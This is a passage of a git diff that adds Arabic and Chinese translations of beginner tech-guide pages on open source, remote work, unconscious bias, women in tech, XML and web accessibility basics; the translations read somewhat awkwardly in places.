+إحدى الطرق التي يمكنك من خلالها استخدام البيانات المفتوحة هي من خلال Civic Hacking في رمزك المحلي للواء America Brigade.
+
+#### معلومات اكثر:
+
+*   [افتح صفحة ويكيبيديا](https://en.wikipedia.org/wiki/Open_data)
+*   [العثور على لواء الخاص بك](http://brigade.codeforamerica.org/brigade/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/open-source/index.md b/client/src/guide/arabic/working-in-tech/open-source/index.md
new file mode 100644
index 0000000000..38304c0533
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/open-source/index.md
@@ -0,0 +1,36 @@
+---
+title: Open Source
+localeTitle: المصدر المفتوح
+---
+## المصدر المفتوح
+
+البرامج مفتوحة المصدر هي أي نوع من البرامج متاح للجمهور لاستخدامه أو تعديله أو تنزيله مجانًا. أي شخص قادر على إنشاء مشروع مفتوح المصدر.
+
+يتم فتح المشروعات مفتوحة المصدر بشكل قانوني من خلال ترخيص إبداعي. يتم تغييرها أو صيانتها أو التخلي عنها بواسطة منشئي المحتوى في أي وقت. العديد من المشاريع مفتوحة المصدر لها مساهمين يتطوعون لإضافة الشفرات وتحريرها ، كما أن عددًا متزايدًا من المشروعات مفتوحة المصدر تأخذ مكانًا رئيسيًا بين البرامج الأكثر شعبية المتاحة اليوم.
+
+### مزايا
+
+المصدر المفتوح لا يعتمد على الشركة أو المؤلف الذي أنشأها في الأصل. في حالة فشل الشركة ، يستمر الرمز في الوجود وسيستمر المستخدمون في تطويره. أيضا ، فإنه يستخدم معايير مفتوحة في متناول الجميع ؛ وبالتالي ، فإنه ليس لديه مشكلة التنسيقات غير المتوافقة الموجودة في البرامج الاحتكارية.
+
+كذلك ، لا يتعين على الشركات التي تستخدم برامج مفتوحة المصدر التفكير في نماذج الترخيص المعقدة ولا تحتاج إلى إجراءات لمكافحة القرصنة مثل تنشيط المنتج أو الرقم التسلسلي.
+
+عادةً ما يكون برنامج المصدر المفتوح ذا **تكلفة أقل** **وأمان أعلى** **وجودة أفضل** عند مقارنته بالبرمجيات الاحتكارية.
+
+### سلبيات
+
+العيب الرئيسي للبرامج مفتوحة المصدر هو أنه غالباً ما يكون غير سهل الاستخدام. لا يمكن تعلم أنظمة التشغيل مفتوحة المصدر مثل Linux في يوم واحد. تتطلب جهدا متواصلا وتدريب من جانبك قبل أن تتمكن من السيطرة عليها. قد تحتاج إلى استئجار شخص مدرب لتيسير الأمور ، وقد يؤدي ذلك إلى تكاليف إضافية.
+
+### المصدر المفتوح للمطورين
+
+يتيح برنامج المصدر المفتوح للمطورين إمكانية عرض شفرة المصدر لأي برنامج يخضع لترخيص مبتكر. تسهل المشاريع مفتوحة المصدر على المطورين المساهمة في مشاريع مختلفة دون إجراء تغييرات في الملف الفعلي على الخادم بمجرد تنزيل الملف على الجهاز المحلي.
+
+هناك مواقع ويب مختلفة حيث يمكن للأشخاص العثور على مشروعات مفتوحة المصدر ، مثل:
+
+1.  https://github.com
+2.  https://opensource.google.com/
+
+واحد من أكبر مشاريع المصدر المفتوح هو لينكس.
+
+#### معلومات اكثر:
+
+[مبادرة المصدر المفتوح](https://opensource.org/) [ويكيبيديا مفتوح المصدر](https://en.wikipedia.org/wiki/Open-source_model) [ويكيبيديا البرامج مفتوحة المصدر](https://en.wikipedia.org/wiki/Open-source_software)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/open-source/open-source-newbie/index.md b/client/src/guide/arabic/working-in-tech/open-source/open-source-newbie/index.md
new file mode 100644
index 0000000000..64d3a8fa1b
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/open-source/open-source-newbie/index.md
@@ -0,0 +1,17 @@
+---
+title: The Battle of Open Source
+localeTitle: معركة مفتوحة المصدر
+---
+كما يمكن لشخص جديد في تطوير البرمجيات المساهمة في مشاريع مفتوحة المصدر تبدو مروعة ومثيرة للرعب. لقد كان تطوير برمجيات التعلم رحلة غير متوقعة كان من دواعي سروري أن آخذها. الحصول على الدعم من جعل أفراد عائلتي وأصدقائي الرحلة أقل تحديًا ، لذا لم يكن الطريق سهلاً. لقد ضربت العديد من حواجز الطرق في طريقي ، لكنني واصلت تحدي نفسي كل يوم. لقد قرأت العديد من المقالات التي تشير إلى أنه كمطور برامج صغير من المهم المساهمة في المصادر المفتوحة. لقد قمت بالبحث في الشبكات الداخلية عن مشروع مفتوح المصدر شعرت أنه يمكنني معالجته بسهولة.
+
+الحقيقة القاسية في ذلك هي أن معظم المصادر المفتوحة ليست سهلة كما اعتقدت. لقد كان GitHub بشكل عام تحديًا للتعلُّم وأشعر وكأنني أتعلم شيئًا جديدًا كل يوم ولكن بالنظر إلى العديد من مشروعات "المصدر المبتدئ" المفتوحة المصدر التي جئت إلى إدراك صارخ أن الأمر سيستغرق وقتًا أطول بكثير مما كنت أفعله يعتقد أن تكون قادرة على المساهمة رمز في مشاريع مفتوحة المصدر.
+
+## الدروس المستفادة
+
+على الرغم من أن الفقرة المذكورة أعلاه قد تبدو قليلا من وضع لا تأكل. نعم ، لا تعتبر المشروعات مفتوحة المصدر شيئًا بسيطًا. خذ وقتك ، وقراءة الوثائق أو القراءة ، والقيام بالأبحاث ، وعدم التخلي عن التعلم أبداً. لا يهم إذا كنت مبتدئًا أو مطورًا متمرسًا ، سيكون هناك دائمًا شيء جديد للتعلم.
+
+## في ما يلي مقالتان للحفاظ على دوافعك:
+
+*   https://medium.freecodecamp.org/i-made-my-first-open-source-contribution-within-200-days-and-how-you-can-too-4d5bdbd63fad
+*   https://opensource.com/article/17/5/making-your-first-open-source-contribution
+*   https://medium.com/ifme/my-first-open-source-contribution-68c86de88af9
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/remote-versus-onsite/index.md b/client/src/guide/arabic/working-in-tech/remote-versus-onsite/index.md
new file mode 100644
index 0000000000..f9a78dbd09
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/remote-versus-onsite/index.md
@@ -0,0 +1,35 @@
+---
+title: Remote Versus Onsite
+localeTitle: عن بعد في الموقع
+---
+## عن بعد في الموقع
+
+هناك نوعان من بيئات العمل الرئيسية: في الموقع والبعيد.
+
+### العمل في الموقع
+
+العمل في الموقع هو ما قد تفكر فيه عندما تفكر في وظيفة 9-5. عندما تكون في الموقع ، قد تكون إما في مكتب شركتك أو في مكتب العميل. في كلتا الحالتين ، أنت في نفس الموقع الفعلي مثل بقية الأشخاص الذين تعمل معهم.
+
+### العمل عن بعد
+
+يحدث العمل عن بعد عندما يعمل أعضاء الفريق في مواقع فعلية منفصلة. يمكنك العمل من أي مكان: منزلك (لا تنقلك!) ، ومساحة العمل المشترك (تدفع في بعض الأحيان من قبل صاحب العمل الخاص بك) ، أو حتى شاطئ في تايلاند. غالبًا ما يكون تقييدك الوحيد هو امتلاكك للدخول إلى الإنترنت.
+
+نظرًا لأن الاتصال الشخصي يحدث بشكل أقل (كثيرًا) ، فغالبًا ما تعتمد الفرق البعيدة أكثر على برامج الاتصالات مثل [Slack](https://slack.com/) و [Skype](https://www.skype.com/) .
+
+قد تستضيف فرق العمل عن بعد شركات اعتيادية منتظمة حتى يتسنى لأعضاء الفريق الاجتماع والتعليق.
+
+### "في بين"
+
+بعض الشركات هي 100 ٪ في الموقع ، وبعضها بعيد 100 ٪. ولكن ، ليس من المعتاد أن تجد الشركات أو الفرق التي تسمح لك بالعمل عن بعد يوم أو يومين من الأسبوع. هذا يسمح لك بتجربة بعض مزايا العمل عن بعد ، دون أن تكون بعيدًا طوال الوقت.
+
+يمكن أن يكون العمل عن بعد أداة عظيمة لنشاط تجاري كخطة طوارئ في حالة سوء الأحوال الجوية أو حدوث كارثة طبيعية.
+
+تمتلك بعض الشركات أيضًا مكتبًا فعليًا حيث يمكنك الذهاب للعمل إذا أردت ذلك ، ولكن تسمح لك بالعمل في أي مكان. في الآونة الأخيرة كان هناك المزيد من الحركة من الشركات الكبيرة ، مثل IBM ، نحو نقل الموظفين إلى العمل في الموقع. ومع ذلك ، لا تزال العديد من المؤسسات الكبيرة مرنة للغاية وترغب في السماح لك بالعمل من المنزل ، أو موقع مناسب آخر.
+
+### فرق متعددة
+
+قد يكون لدى الشركات الأكبر نسخة مختلفة من "in-between" ، حيث يوجد بها عدد من الفرق المختلفة التي تعمل في الموقع ، ولكن في مواقع متعددة مختلفة. على سبيل المثال ، فريق يعمل في الموقع في نيويورك وفريق آخر يعمل في الموقع في شيكاغو. يمكنك التواصل مع أعضاء الفريق الآخرين في أحد المكاتب ، ولكنك تستخدم أيضًا تقنيات العمل عن بُعد (Slack و Skype وما إلى ذلك) للبقاء على اتصال ومزامنة مع الفرق الأخرى. قد تعمل جميع الفرق على نفس المشروع ، أو تطوير شيء مستقل ضد نفس التطبيق أو النظام الأساسي.
+
+### معلومات اكثر:
+
+كوينسي لارسون على اقتصاديات العمل عن بعد: [متوسطة](https://medium.freecodecamp.org/the-economics-of-working-remotely-28d4173e16e2)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/unconscious-bias/index.md b/client/src/guide/arabic/working-in-tech/unconscious-bias/index.md
new file mode 100644
index 0000000000..5e97fad9a5
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/unconscious-bias/index.md
@@ -0,0 +1,40 @@
+---
+title: Unconscious Bias
+localeTitle: التحيز فاقد الوعي
+---
+## التحيز فاقد الوعي
+
+التحيز هو تحيز لصالح أو ضد شيء واحد ، أو شخص ، أو مجموعة مقارنة بآخر عادة بطريقة تعتبر غير عادلة. يمكن أن يكون التحيز من قبل فرد أو مجموعة أو مؤسسة ويمكن أن يكون له عواقب سلبية أو إيجابية. ولهذا السبب فإن فوائد التحيز لا يمكن أن توجد إلا على حساب الآخرين. لذلك يجب أن تكون "متحيزة".
+
+يحدث التحيز اللاواعي ، والمعروف باسم "التحيز الضمني" ، عندما يفضل الناس الآخرين الذين يشبهونهم و / أو يشاركون قيمهم. على سبيل المثال ، يمكن أن ينجذب الشخص إلى شخص لديه خلفية تعليمية مماثلة ، من نفس المنطقة ، يشترك في نفس التوجه الجنسي ، أو من هو نفس اللون أو العرق مثلهم.
+
+التحيز الضمني أو اللاواعي يحدث من قبل أدمغتنا مما يجعل الأحكام السريعة بشكل لا يصدق والتقييمات من الناس والحالات دون أن ندرك. تتأثر تحيزاتنا بخلفيتنا ، والبيئة الثقافية والخبرات الشخصية. قد لا نكون على علم بهذه الآراء والآراء ، أو نكون على دراية بأثرها الكامل وآثارها. 3
+
+التحيز اللاشعوري هو أكثر انتشارا من التحيز الواعي ، وغالبا ما يتعارض مع قيم المرء الواعية. يمكن لبعض السيناريوهات تفعيل المواقف والمعتقدات اللاواعية. على سبيل المثال ، قد تكون التحيزات أكثر انتشارًا عند تعدد المهام أو العمل تحت ضغط الوقت. 4
+
+إذا كنت تعمل في فريق [هجين عن](https://github.com/freeCodeCamp/guides/src/pages/working-in-tech/remote-versus-onsite/index.md) بعد ، فقد يكون هناك تحيز غير واعٍ في اللعب حسب المكان الذي يجلس فيه شخص ما. على سبيل المثال ، يتسكع الناس مع زملائهم جسديًا (لحظة "برودة المياه" الحرفية) بطريقة مختلفة عن طريقة عملهم عبر سلاك. تدرك الفرق القوية والقادة هذا الأمر وتختار [اتباع بروتوكولات معينة](https://viewpoints.matrixpartners.com/how-to-support-remote-work-by-removing-unconscious-bias-7a974f953410) تعمل لتقليل آثارها.
+
+#### المشروع ضمني:
+
+هناك العديد من العوامل التي يمكن أن تمنحك تحيزًا غير مقنع ، مثل:
+
+*   تصورنا - كيف نرى الناس ونرى الواقع.
+*   موقفنا - كيف نتصرف تجاه بعض الناس.
+*   سلوكياتنا - مدى تقبّلنا / صداقتنا تجاه بعض الأشخاص.
+*   انتباهنا - أي جوانب من شخص نولي اهتماما أكبر ل.
+*   مهاراتنا في الاستماع - كم نستمع بفعالية إلى ما يقوله بعض الأشخاص.
+*   لدينا تأكيدات صغيرة - كم أو كم نحن نهدئ بعض الناس في حالات معينة.
+
+كما وجد في دراسات مختلفة أنه حتى ترتيب الأسئلة في الاختبار يمكن أن يؤدي إلى تحيز غير مفهوم. هناك فيديو جيد جدا حول هذا الموضوع [هنا](https://www.youtube.com/watch?v=75g4d5sF3xI) .
+
+التحيز اللاشعوري هو أكثر انتشارا من التحيز الواعي ، وغالبا ما يتعارض مع قيم المرء الواعية. يمكن لبعض السيناريوهات تفعيل المواقف والمعتقدات اللاواعية. على سبيل المثال ، قد تكون التحيزات أكثر انتشارًا عند تعدد المهام أو العمل تحت ضغط الوقت.
+
+يمكن للتحيز اللاواعي التأثير على القرارات في التوظيف والترقية وإدارة الأداء. يمكن أن يكون تمييزيًا عندما يرتبط التحيز اللاواعي بخاصية محمية.
+
+#### معلومات اكثر:
+
+1.  [Navarro، Renee MD. "ما هو التحيز اللاواعي؟" _جامعة كاليفورنيا ، سان فرانسيسكو._ Accessed: 20 تشرين الأول 2017](https://diversity.ucsf.edu/resources/unconscious-bias)
+2.  ["التحيز فاقد الوعي." _خدمة الاستشارات والتوفيق والتحكيم._ Accessed: 20 تشرين الأول 2017](http://www.acas.org.uk/index.aspx?articleid=5433)
+3.  ["التحيز فاقد الوعي." _وحدة تحدي المساواة._ Accessed: 20 تشرين الأول 2017](https://www.ecu.ac.uk/guidance-resources/employment-and-careers/staff-recruitment/unconscious-bias/)
+4.  ["ما هو التحيز اللاواعي" جامعة كاليفورنيا ، سان فرانسيسكو مكتب التنوع والتواصل. Accessed: October 15، 2017.](https://diversity.ucsf.edu/resources/unconscious-bias)
+5.  ["التحيز اللاواعي" acas.org.uk تم الوصول إليها: 15 من تشرين الأول 2017.](http://www.acas.org.uk/index.aspx?articleid=5433)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/women-in-tech/index.md b/client/src/guide/arabic/working-in-tech/women-in-tech/index.md
new file mode 100644
index 0000000000..513c62495b
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/women-in-tech/index.md
@@ -0,0 +1,26 @@
+---
+title: Women in Tech
+localeTitle: المرأة في التكنولوجيا
+---
+## المرأة في التقنية
+
+من مقال عن ["أحدث إحصاءات عن المرأة في التكنولوجيا"](https://www.themuse.com/advice/the-latest-stats-on-women-in-tech) ،
+
+> "نعلم جميعا أن هناك فجوة كبيرة بين الجنسين عندما يتعلق الأمر بالنساء في مجال التكنولوجيا.
+> 
+> على الرغم من أننا نعتبر الغالبية العظمى من أماكن العمل ووسائل الإعلام الاجتماعية ، إلا أننا لا نمثل سوى نسبة ضئيلة من عالم التكنولوجيا.
+> 
+> وينعكس ذلك في بعض الإحصاءات التي تراها. على سبيل المثال ، وفقًا لتقرير عام 2011 الصادر عن معهد Level Playing Field Institute ، فإن '82٪ من الرجال في الشركات الناشئة يعتقدون أن شركاتهم أنفقت' الوقت المناسب 'في التعامل مع التنوع ، في حين أن ما يقرب من 40٪ من النساء يعتقدن أنه لم يتم تخصيص وقت كافٍ ”
+
+![Alt text](https://www.womenwhotech.com/wp-content/uploads/infographic_700_FINAL.png "المرأة في التكنولوجيا")
+
+على الرغم من أن المرأة لا تزال ناقصة التمثيل في عالم التكنولوجيا ، إلا أنها لا تعني أننا لا نحدث فرقاً في عالم التكنولوجيا.
+
+في حدث "المرأة في التقريب الفني" الذي قدمته Google في أوستن ، كانت النساء اللواتي تحدثن في هذه الأحداث نائبين للرئيس (VP) وشغل مناصب إدارية رفيعة المستوى من الشركات المربحة التي تعمل في مجال التكنولوجيا. لم يبدأ جميعهم حياتهم المهنية في عالم التكنولوجيا ، بل بدأ العديد منهم بالعمل كسكرتيرات وأدوار أخرى غالباً ما تكون موجهة نحو النساء. لقد عملوا بجد واجتازوا المخاطر للوصول إلى ما هم عليه الآن. كانت النصيحة الوحيدة التي بدت وكأنها تتعالى من كل ذلك هي أن عليك أن تنجح في المخاطرة.
+
+قدم لنا نائب رئيس Google الذي تحدث في هذا الحدث جميعًا نصيحة: أننا يجب أن نتحمل أي فرصة متاحة لنا وأن نخاطر بالالتحاق بالوظائف التي نحن غير مؤهلين لها. أسوأ ما سيحدث هو أنك سوف تحصل على رفض أو أنك لن تحصل على مقابلة. لا يحصل الرجال على المراكز التقنية لأنهم أكثر خبرة أو أفضل من النساء ولكن لأنهن يتقدمن إلى وظائف لا يؤهلهن لها في كثير من الأحيان بينما تقدم النساء فقط للحصول على وظائف يعتقدون أنهن مؤهلات لها. أسوأ شيء يمكنك القيام به هو أن تبيع نفسك قصيرا إذا كنت تريد شيئا يأخذ هذا الخطر وتحقيق المستحيل.
+
+### معلومات اكثر:
+
+*   [لماذا يوجد عدد قليل جدا من النساء في التكنولوجيا؟ الحقيقة وراء مذكرة جوجل](https://www.theguardian.com/lifeandstyle/2017/aug/08/why-are-there-so-few-women-in-tech-the-truth-behind-the-google-memo)
+*   [إلين باو: هل تغيرت أي شيء حقا للمرأة في التكنولوجيا؟](https://www.nytimes.com/2017/09/16/opinion/sunday/ellen-pao-sexism-tech.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/xml/index.md b/client/src/guide/arabic/xml/index.md
new file mode 100644
index 0000000000..a2ca6a9bba
--- /dev/null
+++ b/client/src/guide/arabic/xml/index.md
@@ -0,0 +1,64 @@
+---
+title: Extensible Markup Language (XML)
+localeTitle: لغة الترميز الموسعة (XML)
+---
+## لغة الترميز الموسعة (XML)
+
+يرمز XML إلى لغة الترميز القابلة للامتداد. وهو قابل للتوسعة ، لأنه لا يستخدم مجموعة محددة مسبقًا من العلامات لتحديد المكونات الهيكلية ، بدلاً من ذلك ، يوفر آلية لتحديد مثل هذه المجموعات من العلامات. الغرض الرئيسي من اللغة هو مشاركة البيانات. بخلاف HTML ، في XML لا توجد مجموعة محددة مسبقًا من العلامات والعلامات تحدد المعنى ، بدلاً من العرض التقديمي.
+
+\## تركيب XML يشير بناء جملة XML إلى القواعد التي تحدد كيفية كتابة تطبيق XML. بناء جملة XML بشكل مستقيم جداً ، وهذا يجعل XML سهل التعلم. يجب أن تحتوي مستندات XML على عنصر أساسي واحد هو أصل كل العناصر الأخرى:
+
+ `<root> 
+  <child> 
+    <subchild>.....</subchild> 
+  </child> 
+ </root> 
+` 
+
+#### يجب أن يكون XML عنصرًا أساسيًا
+
+فوق بناء الجملة يظهر العنصر الجذر الذي هو ضروري أثناء إنشاء رمز XML. يمكن إظهار ذلك من خلال المثال: -
+
+ `<?xml version="1.0" encoding="UTF-8"?> 
+ <note> 
+  <to>Tove</to> 
+  <from>Jani</from> 
+  <heading>Reminder</heading> 
+  <body>Don't forget me this weekend!</body> 
+ </note> 
+` 
+
+في هذا المثال ، "note" هو العنصر الجذر.
+
+*   مزايا استخدام XML:
+    
+    *   Simplicity - وثائق XML هي ملفات نصية عادية يمكن إنشاؤها وتحريرها باستخدام أي محرر نصوص.
+    *   استقلال البائع
+    *   استقلال المنصة
+    *   بنية تحتية واسعة النطاق
+*   مساوئ استخدام XML:
+    
+*   بنية مطولة ومرهقة
+    
+*   تخزين غير فعال للغاية
+    
+
+في لغة الكمبيوتر ، لغة الترميز القابلة للامتداد (XML) هي التي تحدد مجموعة أو مجموعة من القواعد التي يتم استخدامها لاحقًا لترميز المستندات في مثل هذا التنسيق ، وهي عبارة عن آلة وقابلة للقراءة من قبل الإنسان.
+
+هناك شيء رئيسي بين XML و HTML مما يجعلها مختلفة عن بعضها البعض. هو أن XML تم تصميمه لنقل معلومات معينة ويركز على ذلك informaion فقط. وتركز HTML على عرض تلك المعلومات الخاصة مثل التصميم وكل هذه الأشياء المتعلقة بالمعلومات.
+
+كما لا يستخدم XML علامات محددة مسبقًا كما تستخدمها HTML. ويستخدم علامات المعرفة من قبل المستخدم.
+
+فيما يلي البساطة التي تسببها XML:
+
+1.  إنه يبسط تبادل البيانات
+2.  إنه يبسط نقل البيانات
+3.  إنه يبسط تغييرات النظام الأساسي
+4.  إنه يبسط توافر البيانات
+
+وكان الإنجاز الرئيسي هو أنها أصبحت توصية W3C في وقت مبكر من فبراير 1998.
+
+### معلومات اكثر
+
+*   [مقدمة XML](https://developer.mozilla.org/en-US/docs/XML_introduction)
+*   [مقدمة في XML](https://www.w3schools.com/xml/xml_whatis.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/accessibility/accessibility-basics/index.md b/client/src/guide/chinese/accessibility/accessibility-basics/index.md
new file mode 100644
index 0000000000..4905e9cbf8
--- /dev/null
+++ b/client/src/guide/chinese/accessibility/accessibility-basics/index.md
@@ -0,0 +1,198 @@
+---
+title: Accessibility Basics
+localeTitle: 辅助功能基础知识
+---
+> “黑暗艺术是多种多样的，不断变化的，永恒的。对抗它们就像对抗一个多头的怪物，每次颈部被切断时，头发比以前更加凶猛，更加聪明。你正在与之抗争这是不固定的，变异的，坚不可摧的。“
+> 
+> \- 教授Severus Snape，哈利波特系列
+
+可访问性在开发中的作用基本上是了解用户的观点和需求，并且知道Web和应用程序是残障人士的解决方案。
+
+在这个时代，发明了越来越多的新技术，使开发人员和用户的生活更加轻松。在多大程度上，这是一件好事，是另一个时间的争论，现在只要说开发人员，尤其是网络开发人员的工具箱就像我们的朋友所谓的“黑暗艺术”一样不断变化就足够了。斯内普。
+
+该工具箱中的一个工具应该是可访问性。理想情况下，它应该是在编写任何形式的Web内容的最初步骤之一中使用的工具。但是，在大多数开发人员的工具箱中，这个工具通常都不是很好。这可能是由于一个简单的例子，即使不知道它甚至存在于极端情况下，例如不关心它。
+
+在我作为用户的生活中，以及后来的开发人员，他从任何形式的内容中获得可访问性，我已经看到了该频谱的两端。如果您正在阅读本文，我猜您属于以下类别之一：
+
+*   您是一名新手Web开发人员，希望了解有关可访问性的更多信息
+*   你是一个经验丰富的网络开发人员，已经迷失了方向（稍后会详细介绍）
+*   您认为工作中有法律义务，需要了解更多相关信息。
+
+如果您不属于这些相当广泛的类别，请告诉我。我总是喜欢听那些读我写的东西的人。实现可访问性会影响整个团队，从设计者选择的颜色，撰稿人写的副本，以及开发人员。
+
+## 那么，无论如何，什么是可访问性？
+
+可访问性本身有时是一个误导性的术语，特别是如果英语是你的第二语言。它有时被称为包容性设计。
+
+如果您的网站位于互联网上，任何拥有网络浏览器的人都可以访问该网站，从某种意义上说，每个人都可以通过网络浏览器访问该网站。
+
+但是，您网站上的所有内容实际上是否可读，可用并且对每个人都可以理解？是否没有限制条件阻止某些人“访问”您所暴露的所有信息？
+
+您可以问自己以下问题：
+
+*   如果您添加仅包含在音频文件中的信息，聋人是否仍能获得该信息？
+*   如果您用某种颜色表示您网站的重要部分，那么一个色盲的人会知道吗？
+*   如果您在网站上添加传达重要信息的图像，盲人或低视力人士将如何了解这些信息？
+*   如果你想用键盘或口棒浏览应用程序，它是否可行且可预测？
+*   您的应用程序是否采用设备的方向，以及如果用户无法进行物理更改，该怎么办？
+*   对于可能需要更多时间填写表单的人，您的申请是否有宽容的时间方面？
+*   假设JavaScript没有及时加载，您的应用程序是否仍然有效（渐进增强）？
+*   您甚至可以说，如果您的网站资源非常庞大，那么缓慢或有点连接的人是否能够阅读您的内容？
+
+这是可访问性发挥作用的地方。可访问性基本上需要使您的内容友好，尽可能容易“访问”最大数量的人。这包括耳聋，低视力，失明，阅读障碍，静音，慢速连接，色盲，患有癫痫，精神疲劳，年龄，身体限制等的人。
+
+## 为何实现可访问性？
+
+您可能认为可访问性不适用于您或您的用户，那么为什么要实现它？盲人用照片编辑工具做什么？
+
+事实是，你在某种程度上是正确的。如果您已经进行了细致的用户研究并排除了某些人访问您网站的机会，那么迎合这一群人的优先级就会降低很多。
+
+但是，做这项研究是实际捍卫这种说法的关键。你知道有[盲人游戏玩家吗？](http://audiogames.net)甚至是[盲人摄影师？](http://peteeckert.com/) 。也许你知道[音乐家可以聋](http://mentalfloss.com/article/25750/roll-over-beethoven-6-modern-deaf-musicians)吗？
+
+如果你这样做，对你有好处。如果没有，我想这更能激发我的观点。
+
+当我们查看实际上迫使您使某些网站和网络应用程序可访问的立法时，图片变得更加复杂。一个主要的例子是基于美国的[部分508](http://jimthatcher.com/webcourse1.htm) 。目前，这部法律主要是指政府组织，公共部门网站等。但是，法律也在变化。
+
+去年，航空公司网站被列入此列表，这意味着即使在欧洲，航空公司网站也开始争相使其内容可访问。不这样做可以让你的公司每天罚款几万美元，问题不是固定的。
+
+世界各地的这项立法有所不同，有些比其他立法更严重，包罗万象。遗憾的是，不知道这个事实并没有使诉讼消失。
+
+## 好的，所以可访问性是一个大问题。现在我们如何实现它？
+
+遗憾的是，这个问题难以回答。哈利波特在顶部的引用是有原因的，而不是我是一个狂热的幻想读者。
+
+如上所述，可访问性对于一大群不同的人来说非常重要，每个人都有自己的需求。让您的网站完全适合所有人，这是一项大型的，持续的任务。
+
+为了给疯狂带来一些方法，组成了Web内容可访问性指南或[WCAG](https://www.wuhcag.com/web-content-accessibility-guidelines/) 。本文档包含许多可用于检查网站的标准。现在，我将介绍一些最重要的基础知识。可以这么说，我会指出你那些悬而未决的成果。在随后的文章中，我将讨论更多高级技术，如\[WAI-ARIA\]，这对于基于JavaScript的应用程序非常重要。
+
+### 像当地人一样说话
+
+HTML规范是描述如何使用该语言来构建网站的文档。辅助技术，如屏幕阅读器，语音识别程序等，都知道这个文件。然而，Web开发人员通常不会，或者至少不够，并认为这样的事情是可以的：
+
+```html
+
+    <div class="awesome-button"></div> 
+ 
+    <span><strong>Huge heading I will style with CSS later</strong></span> 
+ 
+    <span class="clickable-with-JavaScript">English</span> 
+```
+
+你猜怎么了？所有这三个要素都打破了WCAG的几个标准，因此根本无法访问。
+
+第一个元素打破了所谓的“名称，角色，价值” - 标准，它指出网页上的所有元素都应该公开他们的名字，他们的角色（如按钮）及其价值（如编辑字段的内容）辅助技术。这个div实际上不提供三者中的任何一个，使其对屏幕阅读器不可见。
+
+在使用CSS设置样式后，第二个元素看起来像一个标题，但在语义上是一个跨度。因此，辅助技术不会知道它的标题。屏幕阅读器会将其读作常规文本而不是标题。屏幕阅读器通常有一个热键可以快速跳转到最近的标题，此标题不会包含在该范围内。
+
+例如，第三元素可以是用户可以单击以改变网站语言的元素。也许一个奇特的动画菜单会在点击时扩展。然而，这也是一个跨度，并没有暴露它的角色（链接或按钮），使得辅助技术认为这只是带有一些样式的英语这个词。
+
+跨度和div是非元素。它们意味着包含其他元素，而不是元素本身。您可以通过两种方式解决这些问题：
+
+*   您可以手动将ARIA属性添加到上面的元素。这是一个高级主题，超出了本文的范围。
+*   或者，您可以这样做：
+
+```html
+
+    <button>This is a button</button> 
+ 
+    <h2>Here's a heading level two</h2> 
+ 
+    <a href="JavascriptThing">English</a> 
+```
+
+繁荣。突然之间，只需使用原生HTML，所有这些元素现在都可以完全访问。换句话说，就像使用HTML一样。
+
+### 如果没有结构，基础就无法忍受
+
+稍早一点，我触摸了屏幕阅读器的热键，从标题跳到标题。实际上有许多这样的热键可以快速跳到最近的表格，形式字段，链接等。确保这些标题实际上在逻辑位置是一个很好的做法，真的会降低你的辅助技术用户的压力水平，这是好的如果您希望访问者继续回到您的网站。
+
+还记得标题是分层的。如果你使用h2，请确保跟随它的h3实际上与h2有关。对于最近的博客文章，请不要在h2下面输入h3作为联系方式。这里有一个很好的比喻是一本带章节的书，里面有小节。你不会在准备蔬菜章节的中间放一个关于烘烤饼干的部分......或者......你不会......对吗？
+
+### 有什么选择？
+
+网站上的图片很棒。他们为您的内容添加了一个新图层，可以真正让您的网站访问者体验更加身临其境的体验，并且通常只是在所有文本中看起来很好。一张图片可以说超过一千字，对吗？
+
+当然。也就是说，如果你能看到它们。在HTML5规范中，img-attribute必须始终具有alt-attribute。如果无法看到该属性，则该属性用作图像的替代。这对于您网站的盲人访问者来说都是如此，但是当您的图像由于某种原因无法加载时也是如此。因此，不向img-attribute添加alt-tag不仅会破坏可访问性，还会违反HTML5规范。
+
+我恳请任何抓住自己这样做的网络开发人员吃他们的程序员的帽子并在Windows 95上专门工作一周。时间结束后，写一篇关于你从这场考验中学到的东西的文章，这样我就可以在下午喝咖啡时大笑。
+
+现在，有一点需要注意。根据HTML5规范，Alt属性是强制性的，但实际填写它们并不是必须的。 `<img src="awesome-image.jpg", alt="">`因此是合法的HTML5代码。
+
+您是否应该为所有图像填写alt-tag？这取决于图像，真的。对于背景图像，答案通常是否定的，但无论如何都应该使用CSS。
+
+对于完全没有信息的纯装饰图像，您基本上可以自由选择。要么输入有用的描述性内容，要么根本没有内容。
+
+对于包含信息的图像，如小册子，地图，图表等，除非您提供文字替代方法，否则不添加替换文字会打破WCAG。这通常是alt属性，但也可以是图像正下方或旁边的文本块。
+
+对于文本图像，文本可以包含在alt属性中，也可以以某种替代方式提供。问题是在同一页面上添加文本替代方案基本上会使能够看到图像的人显示相同的内容两次，这就是为什么alt-attribute在这种情况下更好。
+
+文本应提供上下文和信息，这是查看图像的替代方法。写“热气球图像”根本不够 - 为什么那里有气球图片？如果图像是风格化的或传达了情感意义，那么这可以包括在内。
+
+### 儿子，我看不懂你的潦草
+
+即使是那些不戴眼镜也没有视力问题的人也会从易于阅读的字体和适当的对比中受益。如果你必须填写一个表格，在白色背景上放置浅黄色，无望的循环字母，我相信你会畏缩。例如，对于那些视力不如你奶奶的人来说，这变得无比糟糕。
+
+WCAG具有较小和较大字母的对比度，并且有大量工具可用于检查对比度是否足够强。信息和工具在那里，去使用它。
+
+开始检查颜色对比度的好地方是使用[WebAIM](https://webaim.org/resources/contrastchecker/)颜色对比度检查器。
+
+### 这个按钮做什么用的？
+
+当我们讨论表单的主题时，让我们快速浏览`input`标记。这个小家伙有点重要。
+
+当您在网页上放置一些输入字段时，您可以使用标签......以及......标记它们。但是，将它们放在一起并不够。您需要的属性是for-attribute，它获取后续输入字段的ID。通过这种方式，辅助技术可以知道与哪个表单字段相关联的标签。
+
+我想说明这个的最好方法是举一个例子：
+
+```html
+
+    <label for='username'> 
